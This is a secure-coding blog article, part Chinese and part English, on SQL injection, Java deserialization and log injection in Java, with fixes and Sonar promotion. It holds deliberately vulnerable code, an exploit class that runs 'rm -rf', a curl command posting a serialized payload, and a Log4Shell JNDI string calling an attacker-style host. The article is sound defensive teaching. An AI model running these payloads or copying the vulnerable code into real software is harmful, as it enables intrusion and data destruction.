首頁  >  文章  >  Java  >  目前隱藏在程式碼中的主要安全缺陷 - 以及如何修復它們

目前隱藏在程式碼中的主要安全缺陷 - 以及如何修復它們

WBOY
WBOY原創
2024-08-30 06:01:20763瀏覽

據報道,2019 年著名遊戲《堡壘之夜》中的一次著名漏洞使數百萬玩家面臨遭受惡意軟體攻擊的風險。此事件凸顯了正確保護 SQL 資料庫的重要性。

但這不是孤立的問題。

涉及 SQL 注入的多起攻擊已經發生,就像特斯拉在 2018 年經歷的那樣。當時,另一場 SQL 注入攻擊影響了特斯拉的 Kubernetes 控制台,導致未經授權的加密貨幣挖礦活動造成財務損失。

但這不僅僅是關於 SQL 注入。

您的程式碼現在可能會遭受其他攻擊媒介,就像大公司過去遭受的攻擊一樣。

2021 年Log4J 庫中名為Log4Shell 的攻擊涉及日誌注入攻擊,迄今為止影響了全球數百萬台伺服器,或者2022 年Atlassian Jira 中發生的攻擊涉及影響多個Jira 版本的反序列化攻擊,此攻擊完全失敗控制權交給攻擊者。

這可能發生在任何人身上,甚至是你。

在本文中,我將討論程式碼中最常見的 3 種攻擊:SQL 注入、反序列化注入和日誌注入,以及如何解決它們。

SQL注入

在資料庫中儲存資訊的應用程式通常使用使用者產生的值來檢查權限、儲存資訊或簡單地檢索儲存在表、文件、點、節點等中的資料。

此時,當我們的應用程式使用這些值時,不當使用可能會允許攻擊者引入發送到資料庫的額外查詢以檢索不允許的值,甚至修改這些表以獲得存取權限。

以下程式碼根據登入頁面中提供的使用者名稱從資料庫中檢索使用者。一切似乎都很好。

Top Security Flaws hiding in your code right now - and how to fix them

public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users " +
                   "WHERE username='" + user + "' AND password='" + pass + "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List users = new ArrayList();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }

但是,當攻擊者使用注入技術時,這段使用字串插值的程式碼將導致意外結果,從而允許攻擊者登入應用程式。

Top Security Flaws hiding in your code right now - and how to fix them

為了解決這個問題,我們將這種方法從使用字串連接更改為參數注入。事實上,就效能和安全性而言,字串連接通常是一個壞主意。

String query = "SELECT userid FROM users " +
               "WHERE username='" + user + "' AND password='" + pass + "'";

將 SQL 字串中直接包含的參數值變更為我們稍後可以引用的參數將解決查詢被駭的問題。

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";

我們的固定程式碼將如下所示,包含prepareStatement和每個參數的值設定。

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }

可以在此處找到幫助檢測 SQL 注入漏洞的 SonarQube 和 SonarCloud 規則

反序列化注入

反序列化是將資料從序列化格式(如位元組流、字串或檔案)轉換回程式可以使用的物件或資料結構的過程。

反序列化的常見用法包括以 JSON 結構的形式在 API 和 Web 服務之間發送數據,或在使用 RPC(遠端過程呼叫)的現代應用程式中以 protobuf 訊息的形式發送數據。

如果不實施清理或檢查步驟,將訊息有效負載轉換為物件可能會涉及嚴重漏洞。

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }

我們可以在這裡看到我們正在使用 objectIS,這是來自請求輸入流中的使用者的直接值,並將其轉換為新物件。
我們希望該值始終是我們的應用程式使用的類別之一。當然,我們的客戶永遠不會發送任何其他東西,對吧?他們會嗎?

但是如果惡意客戶端在請求中發送另一個類別怎麼辦?

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }

在本例中,我們有一個類別在預設建構函式期間刪除文件,這將在先前的 readObject 呼叫中發生。

攻擊者只需序列化該類別並將其發送到 API :

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user

幸運的是,有一個簡單的方法可以解決這個問題。在創建物件之前,我們需要檢查要反序列化的類別是否來自允許的類型之一。

在上面的程式碼中,我們建立了一個新的 ObjectInputStream,其中覆寫了包含類別名稱檢查的「resolveClass」方法。我們使用這個新類別 SecureObjectInputStream 來取得物件流。但在將流讀入物件(使用者)之前,我們會進行允許清單檢查。

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }

可以在此處找到幫助檢測反序列化注入漏洞的 SonarCloud/SonarQube 和 SonarLint 規則

Logging injection

A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.

Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.

But, they can also become an attack vector.

Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.

We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.

Let’s consider the following code, where we take a value from the user and log it.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }

It looks harmless, right?

But what if the attacker tries to log in with this user?

 john login in\n2024-08-19 12:34:56 INFO User 'admin' login in

Top Security Flaws hiding in your code right now - and how to fix them

It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in 

Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.

    $ { jndi:ldap://malicious-server.com/a}

But we can prevent these issues easily.

Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }

The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in 

In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.

     -Dlog4j2.formatMsgNoLookups=true

If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}

And configure our system to use the filtering context factory.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here

Conclusion

Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.

From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.

By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.

Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.

Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.

以上是目前隱藏在程式碼中的主要安全缺陷 - 以及如何修復它們的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn